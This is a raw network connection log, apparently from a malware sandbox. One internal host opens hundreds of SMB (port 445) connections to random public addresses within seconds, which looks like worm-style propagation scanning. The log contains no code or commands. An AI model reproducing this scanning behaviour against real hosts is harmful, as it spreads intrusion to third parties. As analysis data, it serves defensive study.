Jul 20, 2022 09:09:55.417251110 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417325020 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.417346001 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417381048 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.417390108 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417432070 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417453051 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.417464018 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417488098 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.417521000 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417537928 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.417548895 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417568922 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.417627096 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.417682886 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.421601057 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.421633959 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.421675920 CEST	54736	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:09:55.421686888 CEST	443	54736	40.125.122.176	192.168.2.6
Jul 20, 2022 09:09:55.764848948 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:55.764904022 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:55.765033960 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:55.765594959 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:55.765615940 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:55.776412964 CEST	54760	445	192.168.2.6	188.157.115.221
Jul 20, 2022 09:09:55.826426983 CEST	445	54760	188.157.115.221	192.168.2.6
Jul 20, 2022 09:09:55.909174919 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:55.909359932 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.303210020 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.303247929 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.303654909 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.305057049 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.348499060 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.399931908 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.399960041 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.399985075 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400083065 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.400096893 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400145054 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400149107 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.400161982 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400182962 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400199890 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.400248051 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400252104 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.400274038 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400295019 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.400331974 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.400338888 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.400368929 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.405843019 CEST	54814	445	192.168.2.6	165.113.224.219
Jul 20, 2022 09:09:56.407907963 CEST	54817	445	192.168.2.6	168.127.251.157
Jul 20, 2022 09:09:56.409374952 CEST	54819	445	192.168.2.6	19.236.90.51
Jul 20, 2022 09:09:56.410202980 CEST	54820	445	192.168.2.6	110.114.209.252
Jul 20, 2022 09:09:56.414710045 CEST	54826	445	192.168.2.6	16.244.133.237
Jul 20, 2022 09:09:56.415481091 CEST	54827	445	192.168.2.6	209.94.16.151
Jul 20, 2022 09:09:56.419955969 CEST	54831	445	192.168.2.6	95.33.210.39
Jul 20, 2022 09:09:56.421428919 CEST	54833	445	192.168.2.6	192.151.180.65
Jul 20, 2022 09:09:56.423482895 CEST	54836	445	192.168.2.6	159.176.138.37
Jul 20, 2022 09:09:56.424204111 CEST	54837	445	192.168.2.6	63.117.187.143
Jul 20, 2022 09:09:56.424896002 CEST	54838	445	192.168.2.6	15.212.138.231
Jul 20, 2022 09:09:56.429033995 CEST	54844	445	192.168.2.6	142.8.8.168
Jul 20, 2022 09:09:56.429800987 CEST	54845	445	192.168.2.6	126.122.63.46
Jul 20, 2022 09:09:56.430471897 CEST	54846	445	192.168.2.6	64.130.197.235
Jul 20, 2022 09:09:56.431200027 CEST	54847	445	192.168.2.6	156.221.11.149
Jul 20, 2022 09:09:56.432562113 CEST	54849	445	192.168.2.6	185.245.122.236
Jul 20, 2022 09:09:56.503906012 CEST	54850	445	192.168.2.6	148.170.143.39
Jul 20, 2022 09:09:56.505760908 CEST	54853	445	192.168.2.6	170.142.190.129
Jul 20, 2022 09:09:56.506804943 CEST	54855	445	192.168.2.6	12.202.76.19
Jul 20, 2022 09:09:56.507323980 CEST	54856	445	192.168.2.6	116.122.193.168
Jul 20, 2022 09:09:56.508502007 CEST	54858	445	192.168.2.6	100.226.27.30
Jul 20, 2022 09:09:56.509500980 CEST	54860	445	192.168.2.6	185.125.183.22
Jul 20, 2022 09:09:56.510056019 CEST	54861	445	192.168.2.6	174.72.136.3
Jul 20, 2022 09:09:56.513998032 CEST	54866	445	192.168.2.6	87.20.248.101
Jul 20, 2022 09:09:56.515993118 CEST	54870	445	192.168.2.6	115.144.247.152
Jul 20, 2022 09:09:56.516546011 CEST	54871	445	192.168.2.6	135.93.245.93
Jul 20, 2022 09:09:56.517683029 CEST	54873	445	192.168.2.6	164.47.85.228
Jul 20, 2022 09:09:56.518254042 CEST	54874	445	192.168.2.6	128.42.175.55
Jul 20, 2022 09:09:56.521363020 CEST	445	54847	156.221.11.149	192.168.2.6
Jul 20, 2022 09:09:56.521766901 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.521804094 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.521819115 CEST	54810	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:09:56.521826029 CEST	443	54810	20.54.89.106	192.168.2.6
Jul 20, 2022 09:09:56.592489004 CEST	54875	445	192.168.2.6	23.18.36.96
Jul 20, 2022 09:09:56.594544888 CEST	54880	445	192.168.2.6	26.247.216.221
Jul 20, 2022 09:09:56.594629049 CEST	54881	445	192.168.2.6	167.15.233.171
Jul 20, 2022 09:09:56.742469072 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:56.742521048 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:56.742609024 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:56.743103027 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:56.743118048 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.104625940 CEST	54847	445	192.168.2.6	156.221.11.149
Jul 20, 2022 09:09:57.144387960 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.144547939 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:57.195286989 CEST	445	54847	156.221.11.149	192.168.2.6
Jul 20, 2022 09:09:57.723534107 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:57.723576069 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.723972082 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.725169897 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:57.768503904 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.830157042 CEST	54887	445	192.168.2.6	39.234.208.8
Jul 20, 2022 09:09:57.830883026 CEST	54888	445	192.168.2.6	7.78.156.61
Jul 20, 2022 09:09:57.831528902 CEST	54889	445	192.168.2.6	180.131.77.70
Jul 20, 2022 09:09:57.837320089 CEST	54895	445	192.168.2.6	197.20.124.159
Jul 20, 2022 09:09:57.838253021 CEST	54896	445	192.168.2.6	211.100.131.124
Jul 20, 2022 09:09:57.840357065 CEST	54897	445	192.168.2.6	193.212.169.18
Jul 20, 2022 09:09:57.841284990 CEST	54898	445	192.168.2.6	81.36.30.143
Jul 20, 2022 09:09:57.844683886 CEST	54902	445	192.168.2.6	137.120.56.96
Jul 20, 2022 09:09:57.845510006 CEST	54903	445	192.168.2.6	33.141.226.184
Jul 20, 2022 09:09:57.849818945 CEST	54909	445	192.168.2.6	80.170.173.50
Jul 20, 2022 09:09:57.850672007 CEST	54910	445	192.168.2.6	48.108.105.101
Jul 20, 2022 09:09:57.852149010 CEST	54912	445	192.168.2.6	167.182.31.91
Jul 20, 2022 09:09:57.991461992 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991508961 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991539001 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991658926 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:57.991676092 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991687059 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991733074 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991743088 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:57.991780996 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:57.991806030 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:57.991854906 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:58.004297972 CEST	54915	445	192.168.2.6	176.232.201.158
Jul 20, 2022 09:09:58.007610083 CEST	54919	445	192.168.2.6	39.72.191.156
Jul 20, 2022 09:09:58.008430958 CEST	54920	445	192.168.2.6	95.106.16.91
Jul 20, 2022 09:09:58.010590076 CEST	54923	445	192.168.2.6	97.84.229.88
Jul 20, 2022 09:09:58.013355970 CEST	54925	445	192.168.2.6	92.15.37.85
Jul 20, 2022 09:09:58.014600992 CEST	54926	445	192.168.2.6	214.67.98.246
Jul 20, 2022 09:09:58.016166925 CEST	54928	445	192.168.2.6	70.17.95.27
Jul 20, 2022 09:09:58.017644882 CEST	54930	445	192.168.2.6	84.89.96.107
Jul 20, 2022 09:09:58.018443108 CEST	54931	445	192.168.2.6	107.163.206.243
Jul 20, 2022 09:09:58.020669937 CEST	54934	445	192.168.2.6	12.222.167.117
Jul 20, 2022 09:09:58.022546053 CEST	54936	445	192.168.2.6	214.1.13.137
Jul 20, 2022 09:09:58.026324034 CEST	54941	445	192.168.2.6	7.76.124.141
Jul 20, 2022 09:09:58.034338951 CEST	54943	445	192.168.2.6	38.167.235.48
Jul 20, 2022 09:09:58.034893036 CEST	54944	445	192.168.2.6	21.66.246.143
Jul 20, 2022 09:09:58.035916090 CEST	54946	445	192.168.2.6	104.173.69.120
Jul 20, 2022 09:09:58.036463976 CEST	54947	445	192.168.2.6	208.254.234.232
Jul 20, 2022 09:09:58.039006948 CEST	54952	445	192.168.2.6	214.102.154.75
Jul 20, 2022 09:09:58.039736986 CEST	54953	445	192.168.2.6	192.46.250.171
Jul 20, 2022 09:09:58.041778088 CEST	54957	445	192.168.2.6	9.33.73.69
Jul 20, 2022 09:09:58.062679052 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:58.062722921 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:58.062791109 CEST	54885	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:09:58.062802076 CEST	443	54885	52.152.110.14	192.168.2.6
Jul 20, 2022 09:09:58.196310043 CEST	445	54931	107.163.206.243	192.168.2.6
Jul 20, 2022 09:09:58.776664019 CEST	54931	445	192.168.2.6	107.163.206.243
Jul 20, 2022 09:09:58.954593897 CEST	445	54931	107.163.206.243	192.168.2.6
Jul 20, 2022 09:09:59.528944016 CEST	54962	445	192.168.2.6	74.2.7.221
Jul 20, 2022 09:09:59.529803991 CEST	54963	445	192.168.2.6	63.123.166.79
Jul 20, 2022 09:09:59.530333042 CEST	54964	445	192.168.2.6	17.14.22.3
Jul 20, 2022 09:09:59.530920982 CEST	54965	445	192.168.2.6	212.154.11.232
Jul 20, 2022 09:09:59.531943083 CEST	54967	445	192.168.2.6	201.195.120.51
Jul 20, 2022 09:09:59.532505035 CEST	54968	445	192.168.2.6	65.102.54.232
Jul 20, 2022 09:09:59.533013105 CEST	54969	445	192.168.2.6	20.228.198.204
Jul 20, 2022 09:09:59.624325037 CEST	54973	445	192.168.2.6	77.206.35.10
Jul 20, 2022 09:09:59.624499083 CEST	54976	445	192.168.2.6	17.119.176.18
Jul 20, 2022 09:09:59.624596119 CEST	54977	445	192.168.2.6	25.78.171.136
Jul 20, 2022 09:09:59.624767065 CEST	54979	445	192.168.2.6	33.135.230.174
Jul 20, 2022 09:09:59.624891043 CEST	54981	445	192.168.2.6	134.202.140.39
Jul 20, 2022 09:09:59.625017881 CEST	54982	445	192.168.2.6	107.91.194.251
Jul 20, 2022 09:09:59.625211954 CEST	54985	445	192.168.2.6	149.9.14.14
Jul 20, 2022 09:09:59.625540972 CEST	54992	445	192.168.2.6	186.100.135.95
Jul 20, 2022 09:09:59.625657082 CEST	54993	445	192.168.2.6	175.79.213.232
Jul 20, 2022 09:09:59.625822067 CEST	54995	445	192.168.2.6	113.20.106.203
Jul 20, 2022 09:09:59.625926018 CEST	54997	445	192.168.2.6	196.3.210.57
Jul 20, 2022 09:09:59.626136065 CEST	55001	445	192.168.2.6	28.104.75.22
Jul 20, 2022 09:09:59.626249075 CEST	55002	445	192.168.2.6	29.135.176.227
Jul 20, 2022 09:09:59.626399994 CEST	55005	445	192.168.2.6	146.103.93.194
Jul 20, 2022 09:09:59.626542091 CEST	55007	445	192.168.2.6	29.70.243.205
Jul 20, 2022 09:09:59.626677036 CEST	55008	445	192.168.2.6	26.254.84.12
Jul 20, 2022 09:09:59.627079010 CEST	55013	445	192.168.2.6	121.26.155.215
Jul 20, 2022 09:09:59.627172947 CEST	55016	445	192.168.2.6	22.100.100.195
Jul 20, 2022 09:09:59.627412081 CEST	55022	445	192.168.2.6	103.91.198.114
Jul 20, 2022 09:09:59.627429962 CEST	55023	445	192.168.2.6	80.19.177.178
Jul 20, 2022 09:09:59.627648115 CEST	55028	445	192.168.2.6	203.25.233.137
Jul 20, 2022 09:09:59.627679110 CEST	55029	445	192.168.2.6	36.62.138.169
Jul 20, 2022 09:09:59.627805948 CEST	55031	445	192.168.2.6	120.67.252.131
Jul 20, 2022 09:09:59.627904892 CEST	55033	445	192.168.2.6	45.215.218.34
Jul 20, 2022 09:10:00.655100107 CEST	55038	445	192.168.2.6	47.224.205.79
Jul 20, 2022 09:10:00.655806065 CEST	55039	445	192.168.2.6	116.219.124.170
Jul 20, 2022 09:10:00.656622887 CEST	55040	445	192.168.2.6	110.57.184.130
Jul 20, 2022 09:10:00.657766104 CEST	55041	445	192.168.2.6	40.33.45.242
Jul 20, 2022 09:10:00.660680056 CEST	55043	445	192.168.2.6	163.152.34.198
Jul 20, 2022 09:10:00.660777092 CEST	55044	445	192.168.2.6	73.170.229.10
Jul 20, 2022 09:10:00.660895109 CEST	55046	445	192.168.2.6	150.12.204.116
Jul 20, 2022 09:10:00.752798080 CEST	55051	445	192.168.2.6	179.171.55.120
Jul 20, 2022 09:10:00.764066935 CEST	55054	445	192.168.2.6	141.254.245.239
Jul 20, 2022 09:10:00.815187931 CEST	55058	445	192.168.2.6	141.166.95.108
Jul 20, 2022 09:10:00.815347910 CEST	55059	445	192.168.2.6	165.6.254.87
Jul 20, 2022 09:10:00.815628052 CEST	55062	445	192.168.2.6	134.90.250.67
Jul 20, 2022 09:10:00.815762997 CEST	55063	445	192.168.2.6	182.178.129.134
Jul 20, 2022 09:10:00.815928936 CEST	55064	445	192.168.2.6	7.24.52.52
Jul 20, 2022 09:10:00.816098928 CEST	55066	445	192.168.2.6	107.165.18.139
Jul 20, 2022 09:10:00.816214085 CEST	55067	445	192.168.2.6	104.153.62.92
Jul 20, 2022 09:10:00.816452980 CEST	55070	445	192.168.2.6	48.58.31.219
Jul 20, 2022 09:10:00.816751957 CEST	55075	445	192.168.2.6	95.243.125.138
Jul 20, 2022 09:10:00.816936016 CEST	55077	445	192.168.2.6	51.123.57.230
Jul 20, 2022 09:10:00.817204952 CEST	55081	445	192.168.2.6	162.234.227.247
Jul 20, 2022 09:10:00.817424059 CEST	55084	445	192.168.2.6	20.137.14.150
Jul 20, 2022 09:10:00.817558050 CEST	55085	445	192.168.2.6	159.181.160.109
Jul 20, 2022 09:10:00.817728043 CEST	55087	445	192.168.2.6	212.124.254.225
Jul 20, 2022 09:10:00.817996025 CEST	55091	445	192.168.2.6	23.210.47.221
Jul 20, 2022 09:10:00.818114042 CEST	55092	445	192.168.2.6	32.61.7.248
Jul 20, 2022 09:10:00.818871975 CEST	55096	445	192.168.2.6	160.137.46.148
Jul 20, 2022 09:10:00.819101095 CEST	55099	445	192.168.2.6	181.240.118.143
Jul 20, 2022 09:10:00.819871902 CEST	55106	445	192.168.2.6	143.206.230.198
Jul 20, 2022 09:10:00.820017099 CEST	55107	445	192.168.2.6	189.67.94.232
Jul 20, 2022 09:10:00.820127964 CEST	55108	445	192.168.2.6	74.113.0.68
Jul 20, 2022 09:10:01.492455959 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:01.492532015 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:01.492639065 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:01.493252039 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:01.493272066 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:01.793400049 CEST	55113	445	192.168.2.6	181.43.145.235
Jul 20, 2022 09:10:01.794925928 CEST	55116	445	192.168.2.6	148.222.124.147
Jul 20, 2022 09:10:01.795486927 CEST	55117	445	192.168.2.6	76.91.138.45
Jul 20, 2022 09:10:01.796842098 CEST	55119	445	192.168.2.6	11.76.135.52
Jul 20, 2022 09:10:01.798402071 CEST	55120	445	192.168.2.6	85.72.142.124
Jul 20, 2022 09:10:01.798954964 CEST	55121	445	192.168.2.6	72.108.224.15
Jul 20, 2022 09:10:01.799494982 CEST	55122	445	192.168.2.6	198.252.188.185
Jul 20, 2022 09:10:01.896564007 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:01.896691084 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:01.904664040 CEST	55126	445	192.168.2.6	140.189.102.192
Jul 20, 2022 09:10:01.906126022 CEST	55129	445	192.168.2.6	191.65.218.225
Jul 20, 2022 09:10:01.907577038 CEST	55132	445	192.168.2.6	39.112.179.225
Jul 20, 2022 09:10:01.911747932 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:01.911778927 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:01.912206888 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:01.913320065 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:01.937758923 CEST	55136	445	192.168.2.6	33.101.213.87
Jul 20, 2022 09:10:01.941781044 CEST	55139	445	192.168.2.6	166.53.97.244
Jul 20, 2022 09:10:01.941864967 CEST	55140	445	192.168.2.6	91.252.99.25
Jul 20, 2022 09:10:01.941971064 CEST	55142	445	192.168.2.6	37.98.69.207
Jul 20, 2022 09:10:01.950026035 CEST	55145	445	192.168.2.6	149.92.234.60
Jul 20, 2022 09:10:01.950754881 CEST	55146	445	192.168.2.6	12.9.245.76
Jul 20, 2022 09:10:01.952398062 CEST	55149	445	192.168.2.6	31.191.187.177
Jul 20, 2022 09:10:01.953094006 CEST	55150	445	192.168.2.6	93.30.12.12
Jul 20, 2022 09:10:01.953722000 CEST	55151	445	192.168.2.6	71.151.31.234
Jul 20, 2022 09:10:01.954869986 CEST	55153	445	192.168.2.6	85.137.1.181
Jul 20, 2022 09:10:01.955496073 CEST	55154	445	192.168.2.6	24.67.12.223
Jul 20, 2022 09:10:01.956520081 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:01.957153082 CEST	55157	445	192.168.2.6	207.170.213.67
Jul 20, 2022 09:10:01.980420113 CEST	55162	445	192.168.2.6	147.182.136.106
Jul 20, 2022 09:10:01.980442047 CEST	55164	445	192.168.2.6	169.168.218.74
Jul 20, 2022 09:10:01.980650902 CEST	55169	445	192.168.2.6	116.130.240.132
Jul 20, 2022 09:10:01.980701923 CEST	55170	445	192.168.2.6	47.156.191.120
Jul 20, 2022 09:10:01.980777979 CEST	55171	445	192.168.2.6	204.174.47.207
Jul 20, 2022 09:10:01.981004000 CEST	55178	445	192.168.2.6	97.15.63.119
Jul 20, 2022 09:10:01.981100082 CEST	55181	445	192.168.2.6	115.58.184.249
Jul 20, 2022 09:10:01.981260061 CEST	55185	445	192.168.2.6	179.132.224.71
Jul 20, 2022 09:10:01.981271982 CEST	55186	445	192.168.2.6	116.85.157.100
Jul 20, 2022 09:10:02.081041098 CEST	445	55162	147.182.136.106	192.168.2.6
Jul 20, 2022 09:10:02.176753044 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.176809072 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.176832914 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.176892042 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.176912069 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.176939964 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.176981926 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.176994085 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.177006006 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.177067995 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.177076101 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.177129984 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.177140951 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.177169085 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.177179098 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.177191973 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.177237988 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.177304983 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.179470062 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.179507971 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.179554939 CEST	55111	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:02.179569006 CEST	443	55111	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:02.280791044 CEST	445	55185	179.132.224.71	192.168.2.6
Jul 20, 2022 09:10:02.284989119 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.285024881 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.285109997 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.285496950 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.285514116 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.437216043 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.437347889 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.441843033 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.441864967 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.442233086 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.443384886 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.464413881 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:10:02.484532118 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.541513920 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:02.544361115 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544403076 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544426918 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544500113 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.544528961 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544573069 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544600010 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544620037 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.544636011 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544655085 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544673920 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.544745922 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.544754028 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.544804096 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.547065973 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.547091007 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.547106981 CEST	55188	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:02.547116041 CEST	443	55188	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:02.768214941 CEST	445	55189	201.187.246.5	192.168.2.6
Jul 20, 2022 09:10:02.768321037 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:02.771121979 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:02.776906967 CEST	55162	445	192.168.2.6	147.182.136.106
Jul 20, 2022 09:10:02.873812914 CEST	445	55162	147.182.136.106	192.168.2.6
Jul 20, 2022 09:10:02.927586079 CEST	55193	445	192.168.2.6	47.30.53.58
Jul 20, 2022 09:10:02.927802086 CEST	55196	445	192.168.2.6	93.200.194.236
Jul 20, 2022 09:10:02.927917004 CEST	55197	445	192.168.2.6	135.103.135.185
Jul 20, 2022 09:10:02.928035021 CEST	55199	445	192.168.2.6	186.245.164.200
Jul 20, 2022 09:10:02.928133011 CEST	55200	445	192.168.2.6	198.75.81.51
Jul 20, 2022 09:10:02.928209066 CEST	55201	445	192.168.2.6	73.87.128.211
Jul 20, 2022 09:10:02.964462042 CEST	55185	445	192.168.2.6	179.132.224.71
Jul 20, 2022 09:10:02.995521069 CEST	445	55192	201.187.246.5	192.168.2.6
Jul 20, 2022 09:10:02.995686054 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:03.012588024 CEST	55207	445	192.168.2.6	34.157.41.237
Jul 20, 2022 09:10:03.038577080 CEST	55210	445	192.168.2.6	72.60.6.44
Jul 20, 2022 09:10:03.038677931 CEST	55213	445	192.168.2.6	176.72.33.78
Jul 20, 2022 09:10:03.059667110 CEST	55216	445	192.168.2.6	143.233.104.182
Jul 20, 2022 09:10:03.060296059 CEST	55217	445	192.168.2.6	133.95.106.72
Jul 20, 2022 09:10:03.060915947 CEST	55218	445	192.168.2.6	210.184.16.74
Jul 20, 2022 09:10:03.062448978 CEST	55221	445	192.168.2.6	117.40.36.117
Jul 20, 2022 09:10:03.063000917 CEST	55222	445	192.168.2.6	130.174.92.127
Jul 20, 2022 09:10:03.068795919 CEST	55224	445	192.168.2.6	29.249.87.208
Jul 20, 2022 09:10:03.069185019 CEST	55227	445	192.168.2.6	7.94.71.50
